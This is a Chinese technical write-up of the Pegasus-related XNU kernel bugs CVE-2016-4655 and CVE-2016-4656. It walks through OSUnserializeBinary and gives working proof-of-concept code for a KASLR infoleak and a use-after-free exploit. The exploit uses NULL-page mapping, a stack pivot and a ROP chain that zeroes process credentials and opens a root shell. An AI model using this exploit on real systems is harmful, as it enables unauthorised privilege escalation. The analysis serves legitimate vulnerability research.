Pegasus内核漏洞及PoC分析

By xia0

0x00 写在前面

不知道为什么,刚开始就有很多话想说。因为看似是本文开始,实际却是连续几天几夜的分析的结束。本文将详细介绍iOS三叉戟漏洞,其影响涉及OS X 10.11.6和 iOS 9.3.4。这里为了方便以及简单,环境为OS X
关注iOS安全的技术人员都或多或少的了解这个漏洞,这里就不多说,可以参考下面的链接或者自行Google
1.iOS“远程越狱”间谍软件Pegasus技术分析
2.iOS三叉戟漏洞补丁分析、利用代码 公布(POC
3.Pegasus – 针对iOS设备的APT攻击分析

0x01 目录

  1. OSUnserializeBinary概述
  2. 漏洞分析-CVE-2016-4655,CVE-2016-4656
  3. 漏洞利用-PoC分析
  4. 总结

0x02 OSUnserializeBinary概述

  1. 序列化与反序列化
    在软件开发的过程中,两个模块通信时就需要序列化与发序列化,常见的xml->JSON,对应的反序列化JOSN->xml。简单来说就是数据格式上的一种相互转化。
    在XNU内核也有一个实现,OSUnserializeXML(将xml格式转化为内核数据对象)和OSUnserializeBinary(将二进制格式转化为内核数据对象)

  2. OSUnserializeBinary的二进制格式
    OSUnserializeBinary这个函数将连续的二进制流分成uint32_t32字节来处理。所以32位的整数就有特殊含义来表示一些数据结构。如下

#define kOSSerializeBinarySignature "\323\0\0" /* 0x000000d3 */

enum {
    kOSSerializeDictionary      = 0x01000000U,
    kOSSerializeArray           = 0x02000000U,
    kOSSerializeSet             = 0x03000000U,
    kOSSerializeNumber          = 0x04000000U,
    kOSSerializeSymbol          = 0x08000000U,
    kOSSerializeString          = 0x09000000U,
    kOSSerializeData            = 0x0a000000U,
    kOSSerializeBoolean         = 0x0b000000U,
    kOSSerializeObject          = 0x0c000000U,

    kOSSerializeTypeMask        = 0x7F000000U,
    kOSSerializeDataMask        = 0x00FFFFFFU,

    kOSSerializeEndCollection   = 0x80000000U,
};

这里的0x000000d3代表了这个数据流的签名即开始的32位必须为该整数值,下面有一个字典,数组,集合等集合类数据结构,也有数字,字符串等基本数据结构表示。kOSSerializeTypeMaskkOSSerializeDataMask分别为类型和数据大小掩码。kOSSerializeEndCollection代表当前集合(dic,array或set)是否结束。
可以看到,31位表示当前集合是否结束,30-24位表示当前数据类型,23-0表示元素的长度。

当前集合是否结束 当前数据类型 当前元素长度
0 0000000 000000000000000000000000

例如下面的二进制数据

0x000000d3 0x81000000 0x09000004 0x41414141 0x8b000001

则对应:

<dict>
    <string>AAAA</string>  //键key
    <boolean>1</boolean>  //值value
</dict>

这样的数据结构。对应过程也很简单,0x000000d3标志为合法的签名,0x81000000为dic类型且为最后一个元素,0x09000004为4字节大小的字符串,0x8b000001为bool型,所以只需用最后一位代表true或false

  1. OSUnserializeBinary()分析
    完整源代码见文末,下面将对其中几个重要的地方分别做分析说明
    while (ok)
    {
        bufferPos += sizeof(*next);
        if (!(ok = (bufferPos <= bufferSize))) break;
        key = *next++;

        len = (key & kOSSerializeDataMask);
        wordLen = (len + 3) >> 2;
        end = (0 != (kOSSerializeEndCollecton & key));

        newCollect = isRef = false;
        o = 0; newDict = 0; newArray = 0; newSet = 0;

        switch (kOSSerializeTypeMask & key)
        {
            case kOSSerializeDictionary:
            ...

            case kOSSerializeArray:
            ...

            case kOSSerializeSet:
            ...

            case kOSSerializeObject:
            ...

            case kOSSerializeNumber:
            ...

            case kOSSerializeSymbol:
            ...

            case kOSSerializeString:
            ...

            case kOSSerializeData:
            ...

            case kOSSerializeBoolean:
            ...

            default:
                break;
        }

        ...

进行一些初始化和检查后就进入while(ok)循环,并且是以32位的整数位单位遍历循环,读取当前的整数key,确定其长度len,当前集合31位是否设置end。并通过类型掩码kOSSerializeTypeMask确定其key的类型从而进入不同的case。例如我们看kOSSerializeDictionary例子

case kOSSerializeDictionary:
    o = newDict = OSDictionary::withCapacity(len);
    newCollect = (len != 0);
    break;

o为指向当前反序列化对象的指针,在每种case中被指定

case kOSSerializeData:
    bufferPos += (wordLen * sizeof(uint32_t));
    if (bufferPos > bufferSize) break;
    o = OSData::withBytes(next, len);
    next += wordLen;
    break;

这里当遇到一个为kOSSerializeData类型时,根据其len找到其数据并将其存储在OSData数据结构中,并移动next。其他的case都做类似对应的处理。
跳出switch

if (!(ok = (o != 0))) break;

因为每一次循环都会进入case并将o设置为对应对象才合法,当等于0时就说明不合法,则退出。

if (!isRef)
{
    setAtIndex(objs, objsIdx, o);
    if (!ok) break;
    objsIdx++;
}

这里很重要将与后面的漏洞相关,首先判断isRef是否被设置。

 case kOSSerializeObject:
                if (len >= objsIdx) break;
                o = objsArray[len];
                o->retain();
                isRef = true;
                break;

isRef只有当当前的类型为kOSSerializeObject即引用类型是才被设为true,这里引用的意思则表示当前指向dic中其他数据,其值为对应下标。
回到前面那里,下面重点关注setAtIndex这个宏定义

#define setAtIndex(v, idx, o)                                                           \
    if (idx >= v##Capacity)                                                            \
    {                                                                                   \
        uint32_t ncap = v##Capacity + 64;                                               \
        typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap * sizeof(o));  \
        if (!nbuf) ok = false;                                                          \
        if (v##Array)                                                                   \
        {                                                                               \
            bcopy(v##Array, nbuf, v##Capacity * sizeof(o));                             \
            kfree(v##Array, v##Capacity * sizeof(o));                                   \
        }                                                                               \
        v##Array    = nbuf;                                                             \
        v##Capacity = ncap;                                                             \
    }                                                                                   \
    if (ok) v##Array[idx] = o;

看着很复杂,但简单来说就是如果数组大小不够的话就增加大小,然后就将其之前的o指向的对象放到objs数组中对应的位置。

if (dict)
{
        if (sym)
        {
            if (o != dict) ok = dict->setObject(sym, o, true);
            o->release();
            sym->release();
            sym = 0;
        }
        else
        {
            sym = OSDynamicCast(OSSymbol, o);
            if (!sym && (str = OSDynamicCast(OSString, o)))
            {
                sym = (OSSymbol *) OSSymbol::withString(str);
                o->release();
                o = 0;
            }
            ok = (sym != 0);
        }
    }
    else if (array)
    {
        ok = array->setObject(o);
        o->release();
    }
    else if (set)
    {
        ok = set->setObject(o);
       o->release();
   }
    else
    {
        assert(!parent);
        result = o;
    }

对解析出来的当前的集合做对应处理,比如这里的如果dic为真,因为dic字典数据结构需要key->value键值对的形式,所以先判断sym,若没设置,则代表当前o对象为key,则将其转化为OSSymbol类型,设置sym为true并将ofree,那么下一次的o代表的对象一定是值,然后就将symo以键值对的形式存储在dic字典中,如此交替。
后面的代码对漏洞来说不是很重要了

if (newCollect)
{
        if (!end)
            {
                stackIdx++;
                setAtIndex(stack, stackIdx, parent);
                if (!ok) break;
            }
            DEBG("++stack[%d] %p\n", stackIdx, parent);
            parent = o;
            dict   = newDict;
            array  = newArray;
            set    = newSet;
            end    = false;
        }

        if (end)
        {
            if (!stackIdx) break;
            parent = stackArray[stackIdx];
            DEBG("--stack[%d] %p\n", stackIdx, parent);
            stackIdx--;
            set   = 0; 
            dict  = 0; 
            array = 0;
            if (!(dict = OSDynamicCast(OSDictionary, parent)))
            {
                if (!(array = OSDynamicCast(OSArray, parent))) ok = (0 != (set = OSDynamicCast(OSSet, parent)));
            }
        }

简单来说就是判断是否有新集合,如有的话,就将其压入栈中,那么后面的元素都放到新集合中,当end时就将整个新集合放入之前的dic

0x03 漏洞分析-CVE-2016-4655,CVE-2016-4656

这里将介绍两个漏洞:1,CVE-2016-4655-infoleak漏洞;2,CVE-2016-4656-UAF漏洞

CVE-2016-4655-infoleak

和我们之前分析的linux中printf格式漏洞类似,利用这个漏洞我们可以获取到内核栈中的地址信息,这些信息对于绕过KASLR内核地址空间随机偏移非常有用,因为系统每次启动时内核地址都偏移了一随机数,一旦确定了KSALR,我们就可以进一步做ROP等攻击。

下面看漏洞点,回顾之前kOSSerializeNumber这个case内容

case kOSSerializeNumber:
    bufferPos += sizeof(long long);
    if (bufferPos > bufferSize) break;
    value = next[1];
    value <<= 32;
    value |= next[0];
    o = OSNumber::withNumber(value, len);
    next += 2;
    break;

这里存在什么问题呢?这里没有检查OSNumber的长度,也就是说我们可以创建一个任意长度的OSNumber,进而在内核读取的时候越界,然后泄漏内核地址信息。

CVE-2016-4656-UAF漏洞

UAF漏洞即当一个已经free的内存在某处被引用以后发生,可以想象,一个被free的对象其内容是不确定的,对其引用则会造成不可预测的后果。因为内存可能随时被其他对象占用,而在这里,如果我们时机足够恰当,就可以精心构造一个对象占用free的内存,当前引用时,就会按照我们的计划执行。
来看下漏洞点,下面的代码是序列化字典dic将OSString这个键转化为OSSymbol,见下

if (dict)
{
        if (sym)
        {
            ...
        }
        else
        {
            sym = OSDynamicCast(OSSymbol, o);
            if (!sym && (str = OSDynamicCast(OSString, o)))
            {
                sym = (OSSymbol *) OSSymbol::withString(str);
                o->release();
                o = 0;
            }
            ok = (sym != 0);
        }
    }

这里o->release()有什么问题呢?还记得objsArray吧,用来存储所有的对象,但是用setAtIndex这个宏来将所有的对象o存在里面,而宏不实现任何类型的引用计数机制,所以存储在其中的引用不会被删除。这在我们不引用其他对象的时候是没有什么问题的,但如果是一个引用对象的话,看下面kOSSerializeObject中的switchcase

case kOSSerializeObject:
    if (len >= objsIdx) break;
    o = objsArray[len];
    o->retain();
    isRef = true;
    break;

此时之前存储在之前的objsArrayOSString已经free,而 o = objsArray[len]; o->retain();由对其进行了retain引用,好的一个完美的UAF漏洞。
所以我们可以构造一个字典dic,其中OSString包含一些配对的值,然后序列化一个kOSSerializeObject引用对象,OSString将调用retain,但却是一个被释放的对象。

0x04 漏洞利用-PoC分析

同样分为两个漏洞利用:1,CVE-2016-4655-infoleak漏洞利用;2,CVE-2016-4656-UAF漏洞利用

CVE-2016-4655-infoleak漏洞利用

infoleak漏洞利用步骤:

  • 构造一个包含过长的OSNumberdic字典
  • 用这个序列化字典去设置userclient对象的属性
  • 读回设置的OSNumber属性,造成infoleak
  • 利用读取回来的内核地址信息计算KASLR

完整的代码。

uint64_t kslide_infoleak(void)
{
    kern_return_t kr = 0, err = 0;
    mach_port_t res = MACH_PORT_NULL, master = MACH_PORT_NULL;

    io_service_t serv = 0;
    io_connect_t conn = 0;
    io_iterator_t iter = 0;

    uint64_t kslide = 0;

    void *dict = calloc(1, 512);
    uint32_t idx = 0; // index into our data

#define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0)

    WRITE_IN(dict, (0x000000d3)); // signature, always at the beginning

    WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | 2)); // dictionary with two entries

    WRITE_IN(dict, (kOSSerializeSymbol | 4)); // key with symbol, 3 chars + NUL byte
    WRITE_IN(dict, (0x00414141)); // 'AAA' key + NUL byte in little-endian

    WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeNumber | 0x200)); // value with big-size number
    WRITE_IN(dict, (0x41414141)); WRITE_IN(dict, (0x41414141)); // at least 8 bytes for our big numbe

    host_get_io_master(mach_host_self(), &master); // get iokit master port

    kr = io_service_get_matching_services_bin(master, (char *)dict, idx, &res);
    if (kr == KERN_SUCCESS) {
        printf("(+) Dictionary is valid! Spawning user client...\n");
    } else
        return -1;

    serv = IOServiceGetMatchingService(master, IOServiceMatching("IOHDIXController"));

    kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, idx, &err, &conn);
    if (kr == KERN_SUCCESS) {
        printf("(+) UC successfully spawned! Leaking bytes...\n");
    } else
        return -1;

    IORegistryEntryCreateIterator(serv, "IOService", kIORegistryIterateRecursively, &iter);
    io_object_t object = IOIteratorNext(iter);

    char buf[0x200] = {0};
    mach_msg_type_number_t bufCnt = 0x200;

    kr = io_registry_entry_get_property_bytes(object, "AAA", (char *)&buf, &bufCnt);
    if (kr == KERN_SUCCESS) {
        printf("(+) Done! Calculating KASLR slide...\n");
    } else
        return -1;

#if 0
    for (uint32_t k = 0; k < 128; k += 8) {
        printf("%#llx\n", *(uint64_t *)(buf + k));
    }
#endif

    uint64_t hardcoded_ret_addr = 0xffffff80003934bf;

    kslide = (*(uint64_t *)(buf + (7 * sizeof(uint64_t)))) - hardcoded_ret_addr;

    printf("(i) KASLR slide is %#016llx\n", kslide);

    return kslide;
}

构造字典

看下面这段代码

void *dict = calloc(1, 512);
uint32_t idx = 0; // index into our data

#define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0)

这里的WRITE_IN这个宏只是为了方便我们将数据填入内存之中

xml的字典格式

<dict>
    <symbol>AAA</symbol>
    <number size=0x200>0x4141414141414141</number>
</dict>

对应的代码

WRITE_IN(dict, (0x000000d3)); // 头部签名

WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | 2)); // 包含两个元素的字典

WRITE_IN(dict, (kOSSerializeSymbol | 4)); // 长度为3的symbol
WRITE_IN(dict, (0x00414141)); // 'AAA' key键

WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeNumber | 0x200)); //0x200大小的number
WRITE_IN(dict, (0x41414141)); WRITE_IN(dict, (0x41414141)); //实际8字节的number

利用io_service_get_matching_services_bin测试我们的dic是否有效

host_get_io_master(mach_host_self(), &master); // get iokit master port

kr = io_service_get_matching_services_bin(master, (char *)dict, idx, &res);
if (kr == KERN_SUCCESS) {
    printf("(+) Dictionary is valid! Spawning user client...\n");
} else
    return -1;

kr == KERN_SUCCESS则我们的dic则为有效

生成UserClient设定属性

我们需要一个UserClient用来和内核通信,所以使用io_service_open_extended来产生一个相关服务的UserClient,这里的服务并不重要

serv = IOServiceGetMatchingService(master, IOServiceMatching("IOHDIXController"));

kr = io_service_open_extended(serv, mach_task_self(), 0, NDR_record, (io_buf_ptr_t)dict, idx, &err, &conn);
if (kr == KERN_SUCCESS) {
    printf("(+) UC successfully spawned! Leaking bytes...\n");
} else
    return -1;

首先我们通过IOServiceGetMatchingService去从IORegistry里匹配一个特定服务,然后通过io_service_open_extended让可以设置其属性并打开一个服务即隐式产生UserClient
接下来就需要读取属性,我们通过得到一个访问的句柄,所以迭代IORegistry找到刚刚创建的UserClient

IORegistryEntryCreateIterator(serv, "IOService", kIORegistryIterateRecursively, &iter);
io_object_t object = IOIteratorNext(iter);

先通过serv端口创建io_iterator_t,我们的UserClientserv创建之后,所以拿到iter后迭代一次即为我们的UserClient,现在就可以读取其属性并触发info-leak。

读取属性,触发info-leak

char buf[0x200] = {0};
mach_msg_type_number_t bufCnt = 0x200;

kr = io_registry_entry_get_property_bytes(object, "AAA", (char *)&buf, &bufCnt);
if (kr == KERN_SUCCESS) {
    printf("(+) Done! Calculating KASLR slide...\n");
} else
    return -1;

通过io_registry_entry_get_property_bytes我们可以获取到原始字节,存在buf中,我们打印其值

for (uint32_t k = 0; k < 128; k += 8) {
    printf("%#llx\n", *(uint64_t *)(buf + k));
}

对应输出:

0x4141414141414141  // 有效的number
0xffffff8033c66284  //
0xffffff8035b5d800  //
0x4                 // 其他数据或返回地址
0xffffff803506d5a0  //
0xffffff8033c662b4  //
0xffffff818d2b3e30  //
0xffffff80037934bf  // 函数返回地址
...

我们需要清楚函数的调用过程,那么久知道栈中返回地址所属函数
这里实际读取的代码位于is_io_registry_entry_get_property_bytes函数,即io_registry_entry_get_property_bytes调用了 is_io_registry_entry_get_property_bytes

is_io_registry_entry_get_property_bytes源代码

/* Routine io_registry_entry_get_property */
kern_return_t is_io_registry_entry_get_property_bytes(
    io_object_t registry_entry,
    io_name_t property_name,
    io_struct_inband_t buf,
    mach_msg_type_number_t *dataCnt )
{
    OSObject    *    obj;
    OSData     *    data;
    OSString     *    str;
    OSBoolean    *    boo;
    OSNumber     *    off;
    UInt64        offsetBytes;
    unsigned int    len = 0;
    const void *    bytes = 0;
    IOReturn        ret = kIOReturnSuccess;

    CHECK( IORegistryEntry, registry_entry, entry );

#if CONFIG_MACF
    if (0 != mac_iokit_check_get_property(kauth_cred_get(), entry, property_name))
        return kIOReturnNotPermitted;
#endif

    obj = entry->copyProperty(property_name);
    if( !obj)
        return( kIOReturnNoResources );

    // One day OSData will be a common container base class
    // until then...
    if( (data = OSDynamicCast( OSData, obj ))) {
    len = data->getLength();
    bytes = data->getBytesNoCopy();

    } else if( (str = OSDynamicCast( OSString, obj ))) {
    len = str->getLength() + 1;
    bytes = str->getCStringNoCopy();

    } else if( (boo = OSDynamicCast( OSBoolean, obj ))) {
    len = boo->isTrue() ? sizeof("Yes") : sizeof("No");
    bytes = boo->isTrue() ? "Yes" : "No";

    } else if( (off = OSDynamicCast( OSNumber, obj ))) {    /* j: reading an OSNumber */
    offsetBytes = off->unsigned64BitValue();
    len = off->numberOfBytes();
    bytes = &offsetBytes;
#ifdef __BIG_ENDIAN__
    bytes = (const void *)
        (((UInt32) bytes) + (sizeof( UInt64) - len));
#endif

    } else
    ret = kIOReturnBadArgument;

    if( bytes) {
    if( *dataCnt < len)
        ret = kIOReturnIPCError;
    else {
            *dataCnt = len;
            bcopy( bytes, buf, len );
    }
    }
    obj->release();

    return( ret );
}

下面代码表示正在读取OSNumber

...
else if( (off = OSDynamicCast( OSNumber, obj ))) {
    offsetBytes = off->unsigned64BitValue(); /* j: the offsetBytes variable is allocated on the stack */
    len = off->numberOfBytes(); /* j: this reads out our malformed length, 0x200 */
    bytes = &offsetBytes; /* j: bytes* ptr points to a stack variable */

    ...
}
...

然后

if( bytes) {
    if( *dataCnt < len)
        ret = kIOReturnIPCError;
    else {
        *dataCnt = len;
        bcopy( bytes, buf, len ); /* j: this leaks data from the stack */
    }
}

执行bcopy时,从bytes里读取了错误的长度,指向堆栈变量,泄漏函数返回地址,我们只需要找到一个地址减去静态地址,那么就能计算出内核偏移值

计算内核偏移

/System/Library/Kernels/kernel拖入hopper,搜索is_io_registry_entry_get_property_bytes,如下图

0-0

然后通过Xref找到调用的下一条地址即返回地址,最后将之前偏移后的地址-静态地址就等到了内核偏移值

0xffffff80037934bf - 0xffffff80003934bf = 0x3400000

也就是下面这段代码所示:

uint64_t hardcoded_ret_addr = 0xffffff80003934bf;

kslide = (*(uint64_t *)(buf + (7 * sizeof(uint64_t)))) - hardcoded_ret_addr;

printf("(i) KASLR slide is %#016llx\n", kslide);

现在获取到了内核偏移值就可以利用UAF漏洞执行ROP链然后提权root。here we go!

CVE-2016-4656-UAF漏洞利用

XNU的堆分配器被称为zalloc,这次我可以偷下懒了,与我之前分析得linux堆分配器相比虽然细节上可能有所不同,但基本原理都大同小异,简单的说来就是提供了不同的分配表,free后的元素会放入对应大小的链表之中,且位于最后,即如果时间合适,我们下次分配同样大小的内存就会返回刚free的内存。还不清楚的可以移步深入理解Linux堆分配器-DLMalloc这篇分析。
那么下面要做的就是如何构造下一个分配的对象,这里我们用OSData因为可以使用原生的二进制数据。回忆之前的UAF漏洞,当下一次o->retain引用就会触发,这里涉及到一个C++虚拟函数表的问题,当然我之前也分析过,不清楚的可以移步详解virtual table简单说来一个对象的地址实际指向的是vtable,通过vtable就能找到对应的函数。所以我们可以构造假的vtable地址达到控制rip到自定义的地址。当然这里还有另一个技术-map NULL。为了能够有效的利用和控制,因为其他地址可能被修改,我们如果能在NULL段进行shellcode以及ROP链的部署那么就能稳定的利用。
下面看我们的步骤:

  • 制作一个二进制字典,释放OSString并重新分配OSData
  • Map NULL
  • 放置stack pivot在偏移0x20到NULL页面
  • 将一个小的传输链0x0放置在NULL页面中(这将传递执行到主链)
  • 触发漏洞
  • 提升权限,生成shell

下面看完整的Poc代码:

void use_after_free(void)
{
    kern_return_t kr = 0;
    mach_port_t res = MACH_PORT_NULL, master = MACH_PORT_NULL;

    /* craft the dictionary */

    printf("(i) Crafting dictionary...\n");

    void *dict = calloc(1, 512);
    uint32_t idx = 0; // index into our data

#define WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0)

    WRITE_IN(dict, (0x000000d3)); // signature, always at the beginning

    WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | 6)); // dict with 6 entries

    WRITE_IN(dict, (kOSSerializeString | 4));   // string 'AAA', will get freed
    WRITE_IN(dict, (0x00414141));

    WRITE_IN(dict, (kOSSerializeBoolean | 1));  // bool, true

    WRITE_IN(dict, (kOSSerializeSymbol | 4));   // symbol 'BBB'
    WRITE_IN(dict, (0x00424242));

    WRITE_IN(dict, (kOSSerializeData | 32));    // data (0x00 * 32)
    WRITE_IN(dict, (0x00000000));
    WRITE_IN(dict, (0x00000000));
    WRITE_IN(dict, (0x00000000));
    WRITE_IN(dict, (0x00000000));
    WRITE_IN(dict, (0x00000000));
    WRITE_IN(dict, (0x00000000));
    WRITE_IN(dict, (0x00000000));
    WRITE_IN(dict, (0x00000000));

    WRITE_IN(dict, (kOSSerializeSymbol | 4));   // symbol 'CCC'
    WRITE_IN(dict, (0x00434343));

    WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeObject | 1));   // ref to object 1 (OSString)

    /* map the NULL page */

    mach_vm_address_t null_map = 0;

    vm_deallocate(mach_task_self(), 0x0, PAGE_SIZE);

    kr = mach_vm_allocate(mach_task_self(), &null_map, PAGE_SIZE, 0);
    if (kr != KERN_SUCCESS)
        return;

    macho_map_t *map = map_file_with_path(KERNEL_PATH_ON_DISK);

    printf("(i) Leaking kslide...\n");

    SET_KERNEL_SLIDE(kslide_infoleak()); // set global kernel slide

    /* set the stack pivot at 0x20 */

    *(volatile uint64_t *)(0x20) = (volatile uint64_t)ROP_XCHG_ESP_EAX(map); // stack pivot

    /* build ROP chain */

    printf("(i) Building ROP chain...\n");

    rop_chain_t *chain = calloc(1, sizeof(rop_chain_t));

    PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_current_proc"));

    PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
    PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred"));

    PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
    PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get"));

    PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
    PUSH_GADGET(chain) = ROP_ARG2(chain, map, (sizeof(int) * 3));
    PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_bzero"));

    PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));

    /* chain transfer, will redirect execution flow from 0x0 to our main chain above */

    uint64_t *transfer = (uint64_t *)0x0;
    transfer[0] = ROP_POP_RSP(map);
    transfer[1] = (uint64_t)chain->chain;

    /* trigger */

    printf("(+) All done! Triggering the bug!\n");

    host_get_io_master(mach_host_self(), &master); // get iokit master port

    kr = io_service_get_matching_services_bin(master, (char *)dict, idx, &res);
    if (kr != KERN_SUCCESS)
        return;
}

这里有很多的宏定义函数,先不用管这些,整个PoC代码在文章最后将会在我的GitHub上找到
下面一步一步分析

构造字典

将如下构造

<dict>
    <string>AAA</string>
    <boolean>true</boolean>

    <symbol>BBB</symbol>
    <data>
        00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    </data>

    <symbol>CCC</symbol>
    <reference>1</reference> <!--引用第一个string元素-->
</dict>

当执行retain时就会以0x20的偏移量地址读取,也就是rip其值将为0x20
可能你会疑惑,0x20地址处不是应该处于__PAGEZERO段吗?是这样的,所以下面介绍Map NULL技术

Map NULL

苹果并没有对32位强制限制不能map,具体我在Google上搜到了这些答案:
0-1
意思就是我们可以将__PAGEZERO段重新映射为可用段,就可以将ROP链布置上去。

mach_vm_address_t null_map = 0;

vm_deallocate(mach_task_self(), 0x0, PAGE_SIZE);

kr = mach_vm_allocate(mach_task_self(), &null_map, PAGE_SIZE, 0);
if (kr != KERN_SUCCESS)
    return;

这段代码即禁用__PAGEZERO段和Map NULL,要达到目的,我们需要将二进制文件编译为32位,并包含pagezero_size,0标志

Pivoting stack和ROP链

下面的这部分内容和我之前分析的linux ROP技术类似,利用ret指令将栈中的地址pop到rip达到执行任意代码的目的。若不清楚,移步Protostar-栈溢出学习-覆盖栈函数指针和ret指令控制eip
首先将rip转移到0x20处

*(volatile uint64_t *)(0x20) = (volatile uint64_t)ROP_XCHG_ESP_EAX(map); // stack pivot

然后通过交换rsp和eax值,将rip转移到0x00位置处,这一步的目的即在__PAGEZERO段上控制栈结构,因为每是将rsp的值pop到ret中,这也就是stack pivot技术。

uint64_t *transfer = (uint64_t *)0x0;
transfer[0] = ROP_POP_RSP(map);
transfer[1] = (uint64_t)chain->chain;

接着rip转移到main->chain,和前面一样ROP链一样,不过主链是为了达到提权的目的。
主链的代码

rop_chain_t *chain = calloc(1, sizeof(rop_chain_t));

PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_current_proc"));

PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_proc_ucred"));

PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_posix_cred_get"));

PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(map, chain);
PUSH_GADGET(chain) = ROP_ARG2(chain, map, (sizeof(int) * 3));
PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_bzero"));

PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(map, "_thread_exception_return"));

主链的执行过程其实原理并不复杂:

 chain prototype:

 proc = current_proc();//找到当前程序的credentials结构
 ucred = proc_ucred(proc);
 posix_cred = posix_cred_get(ucred);

 bzero(posix_cred, (sizeof(int) * 3));//将组id设为0即提权为root
 thread_exception_return();//thread_exception_return只是让我们离开内核区域而不会panic,通常用于从内核陷阱返回。

接下来的代码和之前一样,测试我们构造的dic是否有效:

host_get_io_master(mach_host_self(), &master); // get iokit master port

kr = io_service_get_matching_services_bin(master, (char *)dict, idx, &res);
if (kr != KERN_SUCCESS)
    return;

最后如果一切都顺利,我们检查当前进程getuid是否等于0,如果是就提权root成功,然后调用system("/bin/bash")弹出一个shell!

if (getuid() == 0) {
    puts("(+) got r00t!");
    system("/bin/bash");
}

测试:
0-2

0x04 总结

终于完了,如果认真的一步步分析过来,相信你一定有很多收获和感悟。谁不一样呢?当我一步步的咬着英文看了太多资料和别人的分析,当不熟悉一个领域的时候,会感到害怕,烦躁,困惑。当然在这之中,特别感谢看雪iOS安全小组的黄大大杨君大大,给我了解答了很多困惑,很是感动。从准备分析到写完这篇文章,连续花了7天时间,庆幸自己坚持下来,学到了很多之前都不了解的技术。在分析这个漏洞及利用的时候,我才发现把之前学的linux堆栈漏洞的各个知识点都串了起来,包括-堆管理原理,ROP,UAF,Vtable等等等等。也印证了今天在微博上看到教主的那句话:
学好书不求甚解,爱技术不论用处,当我去用之前所学去理解一个个知识点的时候才体会到后半句:每有会意便欣然忘食

PoC
完整的Poc代码在这里

特别感谢

  • mrh –这是黄大大的分析,黄大大是一个特别严谨细致的人,分析文章使人豁然开朗
  • jndok’s blog –本文大多基于jndok的分析,可以去看看原文的分析
  • 杨君的小黑屋–杨君大大特别有耐心,执着于技术,乐于分享技术

参考
1.User Client Info.txt
2.Attacking-The-XNU-Kernal-In-El-Capitain
3.Mac OS X Privilege Escalation via Use-After-Free: CVE-2016-1828
4.Defiling-Mac-OS-X-Ruxcon
5.Apple Mac OSX Kernel - Exploitable NULL Dereference in CoreCaptureResponder Due to Unchecked Return Value
6.认真分析mmap:是什么 为什么 怎么用
7.Resolving kernel symbols

OSUnserializeBinary源码

OSObject *
OSUnserializeBinary(const char *buffer, size_t bufferSize, OSString **errorString)
{
    OSObject ** objsArray;
    uint32_t    objsCapacity;
    uint32_t    objsIdx;

    OSObject ** stackArray;
    uint32_t    stackCapacity;
    uint32_t    stackIdx;

    OSObject     * result;
    OSObject     * parent;
    OSDictionary * dict;
    OSArray      * array;
    OSSet        * set;
    OSDictionary * newDict;
    OSArray      * newArray;
    OSSet        * newSet;
    OSObject     * o;
    OSSymbol     * sym;

    size_t           bufferPos;
    const uint32_t * next;
    uint32_t         key, len, wordLen;
    bool             end, newCollect, isRef;
    unsigned long long value;
    bool ok;

    if (errorString) *errorString = 0;
    if (0 != strcmp(kOSSerializeBinarySignature, buffer)) return (NULL);
    if (3 & ((uintptr_t) buffer)) return (NULL);
    if (bufferSize < sizeof(kOSSerializeBinarySignature)) return (NULL);
    bufferPos = sizeof(kOSSerializeBinarySignature);
    next = (typeof(next)) (((uintptr_t) buffer) + bufferPos);

    DEBG("---------OSUnserializeBinary(%p)\n", buffer);

    objsArray = stackArray    = NULL;
    objsIdx   = objsCapacity  = 0;
    stackIdx  = stackCapacity = 0;

    result   = 0;
    parent   = 0;
    dict     = 0;
    array    = 0;
    set      = 0;
    sym      = 0;

    ok = true;
    while (ok)
    {
        bufferPos += sizeof(*next);
        if (!(ok = (bufferPos <= bufferSize))) break;
        key = *next++;

        len = (key & kOSSerializeDataMask);
        wordLen = (len + 3) >> 2;
        end = (0 != (kOSSerializeEndCollecton & key));
        DEBG("key 0x%08x: 0x%04x, %d\n", key, len, end);

        newCollect = isRef = false;
        o = 0; newDict = 0; newArray = 0; newSet = 0;

        switch (kOSSerializeTypeMask & key)
        {
            case kOSSerializeDictionary:
                o = newDict = OSDictionary::withCapacity(len);
                newCollect = (len != 0);
                break;
            case kOSSerializeArray:
                o = newArray = OSArray::withCapacity(len);
                newCollect = (len != 0);
                break;
            case kOSSerializeSet:
                o = newSet = OSSet::withCapacity(len);
                newCollect = (len != 0);
                break;

            case kOSSerializeObject:
                if (len >= objsIdx) break;
                o = objsArray[len];
                o->retain();
                isRef = true;
                break;

            case kOSSerializeNumber:
                bufferPos += sizeof(long long);
                if (bufferPos > bufferSize) break;
                value = next[1];
                value <<= 32;
                value |= next[0];
                o = OSNumber::withNumber(value, len);
                next += 2;
                break;

            case kOSSerializeSymbol:
